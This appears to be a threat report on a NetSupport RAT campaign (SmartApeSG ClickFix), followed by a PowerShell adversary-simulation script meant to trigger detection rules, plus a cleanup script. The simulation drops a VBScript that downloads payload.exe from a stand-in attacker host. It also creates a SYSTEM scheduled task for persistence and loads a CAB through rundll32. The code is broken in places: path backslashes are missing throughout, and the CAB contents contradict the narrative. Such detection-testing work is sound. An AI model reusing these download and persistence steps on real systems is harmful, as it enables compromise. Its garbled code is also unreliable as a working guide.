NetSupport RAT Delivered by an Unidentified Loader

Summary

A previously unidentified remote access tool was observed delivering a malicious NetSupport Manager RAT package. The initial malware communicated with a command-and-control server at 89.110.110.119 over TCP port 443 using encoded traffic. The campaign, tracked as SmartApeSG ClickFix, relied on malicious scripts and a CAB archive to install the NetSupport RAT on victim systems.

Investigation

The investigation uncovered multiple indicators, including malicious URLs, IP addresses, and files written to the ProgramData directory. The initial RAT delivered a batch script that extracted and installed the NetSupport RAT from a setup.cab archive. Once installation was complete, the supporting files were removed to reduce visible traces of the activity.

Mitigation

Organizations should block network traffic to the identified malicious IP addresses and domains and monitor for creation of the referenced files under ProgramData. Endpoint defenses should detect execution of suspicious VBScript and batch files, while network monitoring should apply stricter controls to encoded traffic over port 443.

Response

Defenders should alert on the listed indicators, isolate affected systems, and conduct forensic analysis to uncover any persistence mechanisms. Malicious files should be removed, any unauthorized changes should be reversed, and firewall policies should be updated to block outbound communication with the identified command-and-control infrastructure.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An attacker who has gained initial foothold on a Windows host drops three malicious artifacts into C:ProgramData:

  1. processor.vbs – a Visual Basic script that downloads the main RAT binary.
  2. token.bat – a batch file that creates a scheduled task for persistence.
  3. setup.cab – a CAB archive that contains a DLL dropped into C:ProgramData and later loaded via rundll32.exe.

  The attacker then executes each file in turn, causing process‑creation events that contain the exact file paths required by the Sigma rule.

• Regression Test Script:

  # netSupport_RAT_simulation.ps1
  # -------------------------------------------------
  # PURPOSE: Reproduce NetSupport RAT infection telemetry
  # -------------------------------------------------
  
  $targetDir = "C:ProgramData"
  # Ensure the directory exists
  if (-Not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force }
  
  # 1. Drop processor.vbs
  $vbsPath = Join-Path $targetDir "processor.vbs"
  Set-Content -Path $vbsPath -Value @"
  Set objXML = CreateObject("MSXML2.XMLHTTP")
  objXML.open "GET","http://malicious.example.com/payload.exe",False
  objXML.send
  "@" 
  
  # 2. Drop token.bat
  $batPath = Join-Path $targetDir "token.bat"
  Set-Content -Path $batPath -Value @"
  schtasks /create /tn "NetSupportPersist" /tr "$targetDirsetup.cab" /sc onlogon /ru System
  "@
  
  # 3. Drop setup.cab (dummy CAB containing a text file)
  $cabPath = Join-Path $targetDir "setup.cab"
  $tempDir = "$env:TEMPcab_temp"
  New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
  Set-Content -Path "$tempDirdummy.txt" -Value "placeholder"
  # Create a CAB – requires makecab (built‑in Windows tool)
  & makecab.exe "$tempDirdummy.txt" $cabPath
  
  # Execution phase – trigger the detections
  Write-Host "`n[+] Executing processor.vbs"
  cscript.exe //B //Nologo $vbsPath
  
  Write-Host "[+] Executing token.bat"
  cmd.exe /c $batPath
  
  Write-Host "[+] Executing setup.cab via rundll32 (simulated load)"
  rundll32.exe "$cabPath",DummyEntryPoint
  
  # Cleanup temporary folder used for CAB creation
  Remove-Item -Recurse -Force $tempDir

• Cleanup Commands:

  # netSupport_RAT_cleanup.ps1
  $targetDir = "C:ProgramData"
  $files = @("processor.vbs","token.bat","setup.cab")
  foreach ($f in $files) {
      $fullPath = Join-Path $targetDir $f
      if (Test-Path $fullPath) { Remove-Item -Force $fullPath }
  }
  # Remove the scheduled task created by token.bat
  schtasks /delete /tn "NetSupportPersist" /f
  Write-Host "Cleanup complete."